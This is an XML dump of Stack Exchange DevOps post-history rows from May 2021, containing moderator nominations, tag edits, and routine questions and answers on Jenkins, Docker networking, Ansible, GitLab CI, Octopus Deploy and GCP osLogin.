  <row Id="43497" PostHistoryTypeId="5" PostId="13816" RevisionGUID="bfc1336c-0a5c-4c4d-8f25-4f7e3891ef54" CreationDate="2021-05-04T20:03:42.447" UserId="323" Comment="added 6 characters in body" Text="# Peter Turner&#xD;&#xA;&#xD;&#xA;Answering the call for the DevOps moderator nomination.  I've been a mod on Christianity.SE for quite a while, weathered the 2019 purge (to my credit or detriment, you decide) and I've been on StackOverflow since the beta.&#xD;&#xA;&#xD;&#xA;As moderator on DevOps, I'd be patient and fair as I've learned to be, I don't think we've got quite as much trolling or holy wars as there are on Christianity.SE but I'm sure some people get pretty hot about Chef vs Puppet vs Ansible.&#xD;&#xA;&#xD;&#xA;As for DevOps cred, I suppose I'd have to contribute to some OSS to actually have some, but I work 8 to 6 in practicing the art of automating Titanic deck chair shuffling and raise a family the rest of the time. I've written hundreds of ansible roles and some packer templates.  I don't know if that helps as a mod, but I think I understand where most of the questions on the site are coming from, which is a handy skill.&#xD;&#xA;&#xD;&#xA;I'm AWS Certified Pro Architect too, but who isn't, so that's not much of a plug. Either way, look up my meta record on Christianity.SE you can see if people think I've made a positive difference, just don't look me up on Programmers.SE (or whatever they call it now), I learned my lesson over there." ContentLicense="CC BY-SA 4.0" />
  <row Id="43498" PostHistoryTypeId="2" PostId="13821" RevisionGUID="4a51aedd-2d89-407a-8ec7-43d3e96479d8" CreationDate="2021-05-04T21:11:13.283" UserId="4252" Text="# Stuart Ainsworth&#xD;&#xA;&#xD;&#xA;The best reason I have for seeking this role is to help the community grow.  I've been active in the SQL Server community for the last 20 years, and moved into a DevOps role about 5 years ago.  I manage people in my day job, so I'm always intrigued by cultural questions and improving workflow.&#xD;&#xA;&#xD;&#xA;Most of my contributions have been to Stack Overflow, but I've tried to provide conversational insights here.  As a moderator, I think I can do more of the same; nudge people toward deeper discussion and insights." ContentLicense="CC BY-SA 4.0" />
  <row Id="43499" PostHistoryTypeId="2" PostId="13822" RevisionGUID="70318bd9-68bd-47fe-b99c-c8942eb19693" CreationDate="2021-05-05T01:07:47.090" UserId="4252" Text="Here's my two pieces of advice:&#xD;&#xA;&#xD;&#xA;1. **Work out schedules so that you're not on-call 24 hours a day**.  There should be a hand-off between daytime operations and after-hours support. I encourage people to split half their regular time between support weeks and project weeks; after-hours support should come during a project week.&#xD;&#xA;&#xD;&#xA;2. **Get in the habit of taking notes during an incident.** That's the most important thing; even more important than &quot;fixing&quot; the issue.  If bandaging the service requires you to stop taking notes, then it's time to call in additional support.  **There should always be someone taking notes.**&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43500" PostHistoryTypeId="2" PostId="13823" RevisionGUID="d43d3e12-6d2d-4dcf-b8e2-470356c819bc" CreationDate="2021-05-05T01:27:52.970" UserId="4252" Text="I don't think that this feature is currently available out-of-the-box.  However, you can build a [Poower Automation Flow][1] or [Logic App][2] that integrates the two of them.  &#xD;&#xA;&#xD;&#xA;In the long run, I would suggest that you remove Planner from the equation, and just use the kanban board in Azure DevOps for task management. You can display the kanban board inside Teams as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://flow.microsoft.com/en-us/&#xD;&#xA;  [2]: https://azure.microsoft.com/en-us/services/logic-apps/" ContentLicense="CC BY-SA 4.0" />
  <row Id="43501" PostHistoryTypeId="2" PostId="13824" RevisionGUID="17f2316f-a3df-4224-8abb-ad0855fcfa2f" CreationDate="2021-05-05T03:06:48.137" UserId="4252" Text="It appears that Octopus supports a push from BitBucket, but not a pull (https://octopus.com/blog/bitbucket-pipes-and-octopus-deploy)&#xD;&#xA;&#xD;&#xA;Github supports either option: https://octopus.com/docs/packaging-applications/package-repositories/github-feeds" ContentLicense="CC BY-SA 4.0" />
  <row Id="43502" PostHistoryTypeId="6" PostId="13540" RevisionGUID="1a38bdfc-00ff-4a5d-915d-f6c0884ae576" CreationDate="2021-05-05T05:05:15.817" UserId="4252" Comment="adding a tag for octopus deploy" Text="&lt;automation&gt;&lt;bitbucket&gt;&lt;octopus-deploy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43503" PostHistoryTypeId="24" PostId="13540" RevisionGUID="1a38bdfc-00ff-4a5d-915d-f6c0884ae576" CreationDate="2021-05-05T05:05:15.817" Comment="Proposed by 4252 approved by 40 edit id of 1375" ContentLicense="CC BY-SA 4.0" />
  <row Id="43504" PostHistoryTypeId="6" PostId="13814" RevisionGUID="65c7443e-d566-4e6b-8b14-e8369a1aedac" CreationDate="2021-05-05T05:05:25.957" UserId="4252" Comment="removed azure-devops tag" Text="&lt;terraform&gt;&lt;azure&gt;&lt;firewall&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43505" PostHistoryTypeId="24" PostId="13814" RevisionGUID="65c7443e-d566-4e6b-8b14-e8369a1aedac" CreationDate="2021-05-05T05:05:25.957" Comment="Proposed by 4252 approved by 739, 40 edit id of 1373" ContentLicense="CC BY-SA 4.0" />
  <row Id="43506" PostHistoryTypeId="6" PostId="1371" RevisionGUID="feeea999-b89f-4a8f-b5ad-f4491db7df13" CreationDate="2021-05-05T05:05:32.437" UserId="4252" Comment="addding a tag for octopus deploy" Text="&lt;deployment&gt;&lt;continuous-deployment&gt;&lt;dotnet&gt;&lt;octopus-deploy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43507" PostHistoryTypeId="24" PostId="1371" RevisionGUID="feeea999-b89f-4a8f-b5ad-f4491db7df13" CreationDate="2021-05-05T05:05:32.437" Comment="Proposed by 4252 approved by 40 edit id of 1374" ContentLicense="CC BY-SA 4.0" />
  <row Id="43508" PostHistoryTypeId="2" PostId="13825" RevisionGUID="0c63279d-a41c-4a22-8836-781e022714c2" CreationDate="2021-05-05T06:40:18.857" UserId="27482" Text="I am trying to get started in the DevOps Field by setting up a small server currently with Virtualbox, later on for a small team. For my basic setup I plan to use gitea as self-hosted git and Jenkins as CICD tool which also provides a lot of extensions.&#xD;&#xA;&#xD;&#xA;The server OS I chose is RHEL 8 since the systems on which I will setup up my DevOps system in a distant future will use this OS.&#xD;&#xA;&#xD;&#xA;Now I find a lot of sources in the internet that point me to install both tools using containers combined with an orchestration tool like kubernetes. I have a certain degree of theoretical understanding of docker and kubernetes and also experimented a little bit with both tools. &#xD;&#xA;&#xD;&#xA;My research also provided me information on the advantages of running Jenkins in a pod:&#xD;&#xA;&#xD;&#xA; - only required in certain situations&#xD;&#xA; - sometimes several instances of Jenkins for different projects can be required to run in parallel&#xD;&#xA; &#xD;&#xA;At least were that the points that I found on different blogs websites that discussed this topic for Jenkins.&#xD;&#xA;&#xD;&#xA;For Gitea I was not able to determine reasons why it should be run in container inside a pod in kubernetes but there is a helm-chart managed by the community of it. Also I found several sources on the internet telling me helm-charts are bad, don't use them. &#xD;&#xA;&#xD;&#xA;To build, test and deploy applications (which will be Rest applications with react/node-js frontend and different backends) I will use container and kubernetes to orchestrate the container. &#xD;&#xA;&#xD;&#xA;Could you help me understand why I should decide for or against containers/pods for the different applications and maybe even provide reliable sources, since most information I found are just opinions spread through the internet." ContentLicense="CC BY-SA 4.0" />
  <row Id="43509" PostHistoryTypeId="1" PostId="13825" RevisionGUID="0c63279d-a41c-4a22-8836-781e022714c2" CreationDate="2021-05-05T06:40:18.857" UserId="27482" Text="When do I run applications on a server in a pod and when to run them directly on the base operating system?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43510" PostHistoryTypeId="3" PostId="13825" RevisionGUID="0c63279d-a41c-4a22-8836-781e022714c2" CreationDate="2021-05-05T06:40:18.857" UserId="27482" Text="&lt;jenkins&gt;&lt;kubernetes&gt;&lt;containers&gt;&lt;git&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43511" PostHistoryTypeId="2" PostId="13826" RevisionGUID="830b2fde-8db7-49f5-92e0-a9f3f7135afd" CreationDate="2021-05-05T09:11:42.727" UserId="27485" Text="Here is my setup:&#xD;&#xA;&#xD;&#xA;I have a Ubuntu 20.04.2 LTS machine running in VMware (vSphere client).&#xD;&#xA;&#xD;&#xA;On this machine, I have a local Drupal website running in Docker using Wodby Docker4Drupal https://github.com/wodby/docker4drupal&#xD;&#xA;&#xD;&#xA;The website can be accessed on the Ubuntu machine on http://drupal.localhost:8000.&#xD;&#xA;&#xD;&#xA;The Ubuntu machine has an IP of **192.168.10.100** which I can ping from my local Windows machine which is on the same LAN (Windows computer IP address is 192.168.10.97).&#xD;&#xA;&#xD;&#xA;Is there any way that I could access the Drupal website directly from the browser on a computer that is on the same LAN (ie. my Windows machine)?&#xD;&#xA;&#xD;&#xA;I have tried to access http://192.168.10.100:8000 but I get a 404. Any idea? My guess is that I somehow need to *proxy* the traffic to the Docker environment but I have no idea how to achieve that.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43512" PostHistoryTypeId="1" PostId="13826" RevisionGUID="830b2fde-8db7-49f5-92e0-a9f3f7135afd" CreationDate="2021-05-05T09:11:42.727" UserId="27485" Text="Reaching a Docker environment running in VMware from LAN" ContentLicense="CC BY-SA 4.0" />
  <row Id="43513" PostHistoryTypeId="3" PostId="13826" RevisionGUID="830b2fde-8db7-49f5-92e0-a9f3f7135afd" CreationDate="2021-05-05T09:11:42.727" UserId="27485" Text="&lt;docker&gt;&lt;networking&gt;&lt;ubuntu&gt;&lt;vmware&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43514" PostHistoryTypeId="2" PostId="13827" RevisionGUID="32f8196a-4194-4c89-a191-0559a0e8036b" CreationDate="2021-05-05T10:41:51.563" UserId="-1" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="43515" PostHistoryTypeId="1" PostId="13827" RevisionGUID="32f8196a-4194-4c89-a191-0559a0e8036b" CreationDate="2021-05-05T10:41:51.563" UserId="-1" ContentLicense="CC BY-SA 4.0" />
  <row Id="43516" PostHistoryTypeId="2" PostId="13828" RevisionGUID="04e4ca63-ab8d-4f5e-b5f5-ebfa89f373db" CreationDate="2021-05-05T10:41:51.563" UserId="-1" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="43517" PostHistoryTypeId="1" PostId="13828" RevisionGUID="04e4ca63-ab8d-4f5e-b5f5-ebfa89f373db" CreationDate="2021-05-05T10:41:51.563" UserId="-1" ContentLicense="CC BY-SA 4.0" />
  <row Id="43518" PostHistoryTypeId="2" PostId="13829" RevisionGUID="5c8f5d7a-510a-4ef1-af78-b50dc4a383cc" CreationDate="2021-05-05T10:58:37.930" UserId="4252" Text="Octopus can be configured as either the target of a [push from GitHub][1] or you can set up a feed in Github, and [pull][2] from that feed.&#xD;&#xA;&#xD;&#xA;In your case, it sounds like you want a push mechanism, such as [GitHub Actions][3] to do the heavy lifting.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://octopus.com/blog/publishing-a-package-to-octopus-with-github-actions&#xD;&#xA;  [2]: https://octopus.com/docs/packaging-applications/package-repositories/github-feeds&#xD;&#xA;  [3]: https://github.com/features/actions" ContentLicense="CC BY-SA 4.0" />
  <row Id="43519" PostHistoryTypeId="2" PostId="13830" RevisionGUID="4ccb136c-5dc7-4ccf-ac74-8c032d91828e" CreationDate="2021-05-05T13:36:18.887" UserId="17811" Text="Docker container port needs to be be mapped to host port to be reachable in VM!!!" ContentLicense="CC BY-SA 4.0" />
  <row Id="43520" PostHistoryTypeId="2" PostId="13831" RevisionGUID="28fbb5a8-6c61-4fe8-8e00-421e8e9082b0" CreationDate="2021-05-05T16:00:55.320" UserId="24251" Text="We're using a self-hosted gitlab, nexus and Jenkins (controller) and both are hard installs on CentOS7. Jenkins agent is a remote CentOS7. That approach made the most sense to us as opposed to breaking out the whole automated pipeline shebang to deploy gitlab/jenkins/nexus. Gitlab/Jenkins/Nexus are part of the foundation of our CICD infrastructure so it made no sense to make them ephemeral by using container, scaling or orchestration approaches. The actual software components we build &amp; deploy are ephemeral (ie: a new build / config &amp; deploy many times a day) and that infrastructure building, deploy &amp; config is pretty much automated from scratch.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43521" PostHistoryTypeId="50" PostId="13647" RevisionGUID="af359458-8ea9-4c3f-9748-9ca999d959bc" CreationDate="2021-05-05T16:01:50.157" UserId="-1" />
  <row Id="43522" PostHistoryTypeId="2" PostId="13832" RevisionGUID="345e4817-f8a6-4643-a338-88661cd22105" CreationDate="2021-05-05T17:07:57.657" UserId="27496" Text="Failure to validate SSL certificate seems to be happening widely across Linux distributions. Therefore I will post a solution (general idea) which worked for me. The surface problem seems to be that Python is not able to recognize the certificate bundle file. Meanwhile, commandline `curl` can recognize SSL certificate and download file. The path to the certificate bundle differs depending on your Linux distribution.&#xD;&#xA;&#xD;&#xA;In my case,&#xD;&#xA;&#xD;&#xA;Ansible version: 2.10,&#xD;&#xA;Debian distribution&#xD;&#xA;&#xD;&#xA;after certificate was added by&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    - name: Add the intermediate certificate to certificate bundle&#xD;&#xA;      command: update-ca-certificates&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Then, specify the SSL_CERT_FILE variable to the certificate bundle.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- name: download a file&#xD;&#xA;  get_url:&#xD;&#xA;    url: &quot;url&quot;&#xD;&#xA;    dest: &quot;destination&quot;&#xD;&#xA;  environment:                                           # Explicitly specify SSL_CERT_FILE here.&#xD;&#xA;    SSL_CERT_FILE: /etc/ssl/certs/ca-certificates.crt     &#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="43523" PostHistoryTypeId="2" PostId="13833" RevisionGUID="a47a6cff-3522-42d8-ae5b-9c4224f8ede9" CreationDate="2021-05-05T18:59:16.027" UserId="25042" Text="Instead, when I run `ansible` or `ansible-playbook`, ansible tries to resolve the linode tag name assigned to the host as `inventory_hostname` in ansible inventory, instead of actually using the ipv4 addresses discovered by the underlying linode_api4 API calls.&#xD;&#xA;&#xD;&#xA;I'm used to setting `ansible_hostname` as a public ipv4 address, in, for example, the aws_ec2 inventory module, regardless of the value I set for `inventory_hostname` (usually the aws Name tag, unresolvable in DNS) ; I'm not sure if that's how all inventory plugins work.  `ansible-hostname` is not getting set for the linodes when I run `ansible-inventory --host &lt;linode_tag_name&gt;`&#xD;&#xA;&#xD;&#xA;All info in the bug report I filed:&#xD;&#xA;https://github.com/ansible-collections/community.general/issues/2457&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43524" PostHistoryTypeId="1" PostId="13833" RevisionGUID="a47a6cff-3522-42d8-ae5b-9c4224f8ede9" CreationDate="2021-05-05T18:59:16.027" UserId="25042" Text="ansible linode inventory module not letting ansible or ansible-playbook use linodes' ipv4 addresses, despite getting them from linode api calls" ContentLicense="CC BY-SA 4.0" />
  <row Id="43525" PostHistoryTypeId="3" PostId="13833" RevisionGUID="a47a6cff-3522-42d8-ae5b-9c4224f8ede9" CreationDate="2021-05-05T18:59:16.027" UserId="25042" Text="&lt;ansible&gt;&lt;ansible-inventory&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43526" PostHistoryTypeId="6" PostId="9449" RevisionGUID="a264ff75-34ed-47b5-b45a-d0585d94fdaf" CreationDate="2021-05-05T19:24:28.417" UserId="4252" Comment="added tag for better search results" Text="&lt;deployment&gt;&lt;continuous-deployment&gt;&lt;octopus-deploy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43527" PostHistoryTypeId="24" PostId="9449" RevisionGUID="a264ff75-34ed-47b5-b45a-d0585d94fdaf" CreationDate="2021-05-05T19:24:28.417" Comment="Proposed by 4252 approved by 354, 40 edit id of 1376" ContentLicense="CC BY-SA 4.0" />
  <row Id="43528" PostHistoryTypeId="6" PostId="5399" RevisionGUID="b6c3eac3-cfcd-4a3e-8fa3-c6d49de1552b" CreationDate="2021-05-05T19:24:36.723" UserId="4252" Comment="add octopus tag for searching" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;helm&gt;&lt;octopus-deploy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43529" PostHistoryTypeId="24" PostId="5399" RevisionGUID="b6c3eac3-cfcd-4a3e-8fa3-c6d49de1552b" CreationDate="2021-05-05T19:24:36.723" Comment="Proposed by 4252 approved by 354, 40 edit id of 1378" ContentLicense="CC BY-SA 4.0" />
  <row Id="43530" PostHistoryTypeId="6" PostId="9726" RevisionGUID="f63a94e3-d31c-4744-b1c1-77595da3a290" CreationDate="2021-05-05T19:25:16.717" UserId="4252" Comment="added octopus-deploy tag" Text="&lt;continuous-deployment&gt;&lt;teamcity&gt;&lt;octopus-deploy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43531" PostHistoryTypeId="24" PostId="9726" RevisionGUID="f63a94e3-d31c-4744-b1c1-77595da3a290" CreationDate="2021-05-05T19:25:16.717" Comment="Proposed by 4252 approved by 354, 40 edit id of 1380" ContentLicense="CC BY-SA 4.0" />
  <row Id="43532" PostHistoryTypeId="6" PostId="13539" RevisionGUID="2404a254-6df2-44ef-85b1-1e38c43de6b3" CreationDate="2021-05-05T19:25:24.037" UserId="4252" Comment="adding octopus-deploy tag" Text="&lt;automation&gt;&lt;octopus-deploy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43533" PostHistoryTypeId="24" PostId="13539" RevisionGUID="2404a254-6df2-44ef-85b1-1e38c43de6b3" CreationDate="2021-05-05T19:25:24.037" Comment="Proposed by 4252 approved by 354, 40 edit id of 1379" ContentLicense="CC BY-SA 4.0" />
  <row Id="43534" PostHistoryTypeId="6" PostId="13338" RevisionGUID="bbcadc37-6d81-4d7f-a6aa-a49be713fd8a" CreationDate="2021-05-05T19:25:30.103" UserId="4252" Comment="added octopus-deployment tags and created a new one for cloudflare load-balancing" Text="&lt;bluegreen&gt;&lt;octopus-deploy&gt;&lt;cloudflare-load-balancing&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43535" PostHistoryTypeId="24" PostId="13338" RevisionGUID="bbcadc37-6d81-4d7f-a6aa-a49be713fd8a" CreationDate="2021-05-05T19:25:30.103" Comment="Proposed by 4252 approved by 354, 40 edit id of 1381" ContentLicense="CC BY-SA 4.0" />
  <row Id="43536" PostHistoryTypeId="5" PostId="13828" RevisionGUID="40888c98-7355-450d-b54e-1aea5054f22f" CreationDate="2021-05-05T19:25:44.973" UserId="4252" Comment="added 156 characters in body" Text="Use for questions related to Octopus Deploy, a tool to &quot;manage releases, automate deployments, and automate the runbooks that keep your software operating&quot;." ContentLicense="CC BY-SA 4.0" />
  <row Id="43537" PostHistoryTypeId="24" PostId="13828" RevisionGUID="40888c98-7355-450d-b54e-1aea5054f22f" CreationDate="2021-05-05T19:25:44.973" Comment="Proposed by 4252 approved by 354, 40 edit id of 1377" ContentLicense="CC BY-SA 4.0" />
  <row Id="43538" PostHistoryTypeId="2" PostId="13834" RevisionGUID="edc0cef1-bf9f-4c9d-b7b4-dd402c39af69" CreationDate="2021-05-05T21:42:55.267" UserId="27502" Text="You can use `when: on_failure`, in your case you can create a new job for rollback when your `some more tests` have failed.&#xD;&#xA;&#xD;&#xA;### Example:&#xD;&#xA;```yaml&#xD;&#xA;cleanup_build_job:&#xD;&#xA;  stage: cleanup_build&#xD;&#xA;  script:&#xD;&#xA;    - cleanup build when failed&#xD;&#xA;  when: on_failure&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;For more example: https://docs.gitlab.com/ee/ci/yaml/#when" ContentLicense="CC BY-SA 4.0" />
  <row Id="43539" PostHistoryTypeId="2" PostId="13835" RevisionGUID="016aee3b-cdac-4e44-bc8e-461ea25d6e84" CreationDate="2021-05-06T06:44:56.903" UserId="10" Text="# Avi Kessner&#xD;&#xA;&#xD;&#xA;I see there is a call for more moderators.  &#xD;&#xA;I am happy to volunteer my time to help moderate. I have taken on similar roles in the past.  &#xD;&#xA;I think it's important that we have a well moderated DevOps community as more and more companies adopt these important sociotechnical and cultural changes to enable efficient development flows." ContentLicense="CC BY-SA 4.0" />
  <row Id="43540" PostHistoryTypeId="6" PostId="9731" RevisionGUID="76a050a3-4fa0-4d26-b10b-31b4ca43ceef" CreationDate="2021-05-06T06:49:35.243" UserId="4252" Comment="adding a tag for octopus deploy" Text="&lt;continuous-integration&gt;&lt;continuous-deployment&gt;&lt;cicd&gt;&lt;teamcity&gt;&lt;octopus-deploy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43541" PostHistoryTypeId="24" PostId="9731" RevisionGUID="76a050a3-4fa0-4d26-b10b-31b4ca43ceef" CreationDate="2021-05-06T06:49:35.243" Comment="Proposed by 4252 approved by 354, 10 edit id of 1382" ContentLicense="CC BY-SA 4.0" />
  <row Id="43542" PostHistoryTypeId="6" PostId="13753" RevisionGUID="1292ab66-1063-497a-9d61-b2b1a3950c0c" CreationDate="2021-05-06T06:51:05.060" UserId="4252" Comment="Added infrastructure as code tag" Text="&lt;configuration&gt;&lt;infrastructure-as-code&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43543" PostHistoryTypeId="24" PostId="13753" RevisionGUID="1292ab66-1063-497a-9d61-b2b1a3950c0c" CreationDate="2021-05-06T06:51:05.060" Comment="Proposed by 4252 approved by -1 edit id of 1383" ContentLicense="CC BY-SA 4.0" />
  <row Id="43544" PostHistoryTypeId="5" PostId="13753" RevisionGUID="d2009ac9-a9e6-46c7-9f56-103937fceb61" CreationDate="2021-05-06T06:51:05.060" UserId="10" Comment="Added infrastructure as code tag" Text="I’m trying to add new nodes (Linux servers) to my cluster but I have to first configure my nodes properly, i.e. setting up the firewall, closing ports, disabling password login, setting up git,  etc… &#xD;&#xA;This is all very time consuming and can go wrong easily due to human mistakes. How do I automate this process ideally? What tools are used for this? I read about Terraform, Ansible,  but I feel kinda lost with all those different technologies. My desired result would be whenever I buy a new VPS, I run a script (or connect it to a master node) and then configuration happens based on a template or so&#xD;&#xA;&#xD;&#xA;Thanks in advance" ContentLicense="CC BY-SA 4.0" />
  <row Id="43545" PostHistoryTypeId="4" PostId="13753" RevisionGUID="d2009ac9-a9e6-46c7-9f56-103937fceb61" CreationDate="2021-05-06T06:51:05.060" UserId="10" Comment="Added infrastructure as code tag" Text="How to automate initial server configuration?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43546" PostHistoryTypeId="5" PostId="3066" RevisionGUID="14b29411-1bdc-4d6b-b077-04e08f715750" CreationDate="2021-05-06T08:34:57.970" UserId="4252" Comment="capitalization of Microsoft Azure" Text="I am developing a chatbot Azure service, which I want to integrate within Microsoft Teams.&#xD;&#xA;So far everything is working but the &quot;re-install&quot; of the package in the Microsoft Teams.&#xD;&#xA;&#xD;&#xA;I created a publish &quot;folder-profile&quot;. Then I zip the result with the manifest.json and the icon files inside. I go to the Manage Team section and in the Apps tab I select upload a custom app. Then I choose the .zip file and the service seems to be there (actually it is there).&#xD;&#xA;&#xD;&#xA;It works, but when I create a new version and I repeat the described steps, it seems like Microsoft Teams is still using my old code.&#xD;&#xA;&#xD;&#xA;I test the chatbot in the Chat by using @&quot;APP-ID&quot; and I see how my changes work, but installed as an App for the &quot;Team&quot; keeps the old version.&#xD;&#xA;&#xD;&#xA;I tried to uninstall it, check if the bot is gone(it is gone) and then upload again, but some kind of cache is there and the bot behaves like in the previous version.&#xD;&#xA;&#xD;&#xA;Any idea how to deploy new versions of my app in Microsoft Teams?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43547" PostHistoryTypeId="24" PostId="3066" RevisionGUID="14b29411-1bdc-4d6b-b077-04e08f715750" CreationDate="2021-05-06T08:34:57.970" Comment="Proposed by 4252 approved by 10, 6042 edit id of 1385" ContentLicense="CC BY-SA 4.0" />
  <row Id="43548" PostHistoryTypeId="6" PostId="12806" RevisionGUID="1a1bb256-ba42-42b1-bd64-c2724b4eaec7" CreationDate="2021-05-06T10:22:24.907" UserId="4252" Comment="adding azure devops tag" Text="&lt;azure-devops&gt;&lt;azure&gt;&lt;postgresql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43549" PostHistoryTypeId="24" PostId="12806" RevisionGUID="1a1bb256-ba42-42b1-bd64-c2724b4eaec7" CreationDate="2021-05-06T10:22:24.907" Comment="Proposed by 4252 approved by 10, 40 edit id of 1384" ContentLicense="CC BY-SA 4.0" />
  <row Id="43550" PostHistoryTypeId="2" PostId="13836" RevisionGUID="99150108-bc6b-4233-bbe4-d881157213d0" CreationDate="2021-05-06T10:28:24.503" UserId="707" Text="How do you implement security requirements in CI/CD while taking care of security requirements? What are best practices here?&#xD;&#xA;&#xD;&#xA;Security requirements may differ, let's assume this simple level of security:&#xD;&#xA;&#xD;&#xA;* Direct administrative access to target system shouldn't be given to the CI/CD system&#xD;&#xA;* CI/CD system needs to be able to initiate deployment and show it's success/fail status (could be determined by a white box test routine i.e. without admin access rights placed on the CI/CD side)" ContentLicense="CC BY-SA 4.0" />
  <row Id="43551" PostHistoryTypeId="1" PostId="13836" RevisionGUID="99150108-bc6b-4233-bbe4-d881157213d0" CreationDate="2021-05-06T10:28:24.503" UserId="707" Text="Continuos deployment strategies vs DevSecOps" ContentLicense="CC BY-SA 4.0" />
  <row Id="43552" PostHistoryTypeId="3" PostId="13836" RevisionGUID="99150108-bc6b-4233-bbe4-d881157213d0" CreationDate="2021-05-06T10:28:24.503" UserId="707" Text="&lt;continuous-deployment&gt;&lt;security&gt;&lt;devsecops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43553" PostHistoryTypeId="2" PostId="13837" RevisionGUID="7c53d03a-4a4b-4dcf-830e-803f3db94dc2" CreationDate="2021-05-06T10:59:06.580" UserId="4252" Text="As you stated, requirements will differ based on company and industry policy; for us, the adjustment from &quot;separation of duties&quot; to automated deployments has been rough. As interim steps, we've started:&#xD;&#xA;&#xD;&#xA;1. Requiring multiple &quot;sign-offs&quot; before deployment; this is accomplished by both reviews for the PR in Azure DevOps and an audit log in Octopus. &#xD;&#xA;&#xD;&#xA;2.  Monthly review of deployments by higher-ups.  This is mostly a rubber-stamp activity, but it satisfies auditors.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43554" PostHistoryTypeId="2" PostId="13838" RevisionGUID="fb13a59e-4e07-4ce5-b0fd-0b5dc579356b" CreationDate="2021-05-06T12:37:59.167" UserId="4252" Text="As [Peter][1] noted in his comment to the previous answer, getting stakeholders involved is key. It sounds like your parent organization is viewing DevOps as an interface between the teams, rather than an umbrella of reform.&#xD;&#xA;&#xD;&#xA;IMO, the ultimate goal of DevOps is delivering value to clients faster, and communication is a key part of that. Here's some thoughts:&#xD;&#xA;&#xD;&#xA;1. In [Team of Teams][2]  McChrystal talked about the value of getting key players from multiple organizations to be within physical proximity of each other.  If you're still going into the office, suggest that members of the organizations be moved to be near each other.  IF that's not possible, implement a &quot;buddy system&quot;; have people from one org pair up with another remotely, and commit to checking in with each other daily (even if it's just 5 minutes).&#xD;&#xA;&#xD;&#xA;2.  Are the two organizations using the same work tracking system (or at least one that integrates with the other one)?  Flow can often be improved if everyone's using the same tool set.  It becomes easier to hand off items, as well as building that centralized repo.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/users/707/peter-muryshkin&#xD;&#xA;  [2]: https://www.amazon.com/Team-Teams-Rules-Engagement-Complex/dp/1591847486" ContentLicense="CC BY-SA 4.0" />
  <row Id="43555" PostHistoryTypeId="2" PostId="13839" RevisionGUID="b2499a0f-7439-4c5b-89eb-5df2d59eb291" CreationDate="2021-05-06T13:29:59.813" UserId="27511" Text="I have a system that generates both textual log/metrics data, as well as images. I'm looking for some tool that would allow me to track the log data (a la Kibana or Grafana), but also let me embed the images, ideally in some way that was easily correlated with the logs based on time. That is, I'd have the normal charts derived from the log data, and if I click a point on a plot, it would show me the image from that time.&#xD;&#xA;&#xD;&#xA;Does any system already exist that would let me do this? Free obviously preferred since it makes it easier, but this is ultimately a corporate project, so a paid tool also works." ContentLicense="CC BY-SA 4.0" />
  <row Id="43556" PostHistoryTypeId="1" PostId="13839" RevisionGUID="b2499a0f-7439-4c5b-89eb-5df2d59eb291" CreationDate="2021-05-06T13:29:59.813" UserId="27511" Text="Log monitoring/metrics dashboard with images/video" ContentLicense="CC BY-SA 4.0" />
  <row Id="43557" PostHistoryTypeId="3" PostId="13839" RevisionGUID="b2499a0f-7439-4c5b-89eb-5df2d59eb291" CreationDate="2021-05-06T13:29:59.813" UserId="27511" Text="&lt;grafana&gt;&lt;kibana&gt;&lt;dashboards&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43559" PostHistoryTypeId="2" PostId="13840" RevisionGUID="87b932ce-7df0-482d-a18a-a7502507b9a6" CreationDate="2021-05-06T17:38:34.730" UserId="27513" Text="When I have a google cloud compute instance running I can grant access to selected users by granting them the `roles/compute.osLogin` role.&#xD;&#xA;&#xD;&#xA;**How can I add this user to a group** like I would do by invoking `usermod -aG somegroup` on the command line? Since the user is logged in via nis and there are no entries in the local `passwd` or `group` I wonder how to do that. Running a startup script won’t be enough for the user is not present locally…" ContentLicense="CC BY-SA 4.0" />
  <row Id="43560" PostHistoryTypeId="1" PostId="13840" RevisionGUID="87b932ce-7df0-482d-a18a-a7502507b9a6" CreationDate="2021-05-06T17:38:34.730" UserId="27513" Text="How can I add a user to groups when using osLogin in gcloud?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43561" PostHistoryTypeId="3" PostId="13840" RevisionGUID="87b932ce-7df0-482d-a18a-a7502507b9a6" CreationDate="2021-05-06T17:38:34.730" UserId="27513" Text="&lt;google-cloud-platform&gt;&lt;gcp&gt;&lt;google-compute-engine&gt;" ContentLicense="CC BY-SA 4.0" />
